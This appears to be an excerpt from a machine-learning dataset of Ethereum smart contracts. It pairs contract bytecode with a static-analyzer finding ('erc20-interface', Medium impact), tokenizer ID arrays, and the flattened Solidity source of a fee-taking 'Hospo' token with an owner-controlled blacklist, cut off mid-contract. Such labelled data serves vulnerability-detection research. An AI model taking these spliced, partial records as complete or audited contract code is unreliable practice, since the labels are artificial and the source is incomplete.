fffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ecb5780601f10610ea057610100808354040283529160200191610ecb565b820191906000526020600020905b815481529060010190602001808311610eae57829003601f168201915b505050505081565b610ede338383611103565b5050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8257600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110a757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156110f857fe5b818303905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561112957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561118257600080fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156111db57600080fd5b61122d81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ea90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112c281600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136f90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008082840190508381101580156113875750828110155b151561138f57fe5b80915050929150505600a165627a7a72305820dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
25746,
2050,
28756,
24087,
2094,
2581,
2487,
2050,
2549,
2050,
2581,
2497,
19841,
27421,
21619,
2546,
2094,
2683,
22275,
16576,
2063,
2620,
2581,
22025,
2094,
2692,
10354,
2063,
2629,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,449 | 0x952aa09109e3ce1a66d41dc806d9024a91dd5684 | // SPDX-License-Identifier: MIT
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
/* solhint-disable */
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/math/IterableMapping.sol
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if (amount > 0) {
emit Transfer(sender, recipient, amount);
}
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.12;
contract Hospo is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
bool public isTradingEnabled;
bool public isAntiBotEnabled;
uint256 public tradingStartBlock;
uint256 private lastBlock;
uint8 public constant BLOCKCOUNT = 100;
struct BuyFee {
uint16 devFee;
uint16 liquidityFee;
}
struct SellFee {
uint16 devFee;
uint16 liquidityFee;
}
BuyFee public buyFee;
SellFee public sellFee;
uint16 private totalBuyFee;
uint16 private totalSellFee;
address private constant deadWallet = address(0xdead);
uint256 public swapTokensAtAmount = 2 * 10**8 * (10**18);
uint256 public maxTxAmount = 22 * 10**9 * 10**18;
uint256 public maxWalletAmount = 22 * 10**10 * 10**18;
uint256 public dailyCap = 20 ether;
mapping(address => uint256) private lastSoldTime;
mapping(address => uint256) public soldTokenin24Hrs;
address payable public _devWallet = payable(address(0xb4eCfD43b81d13F9E511Ee0FfD2D8a6BDFe76EEf));
mapping(address => bool) public _isBlackListed;
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateDividendTracker(
address indexed newAddress,
address indexed oldAddress
);
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
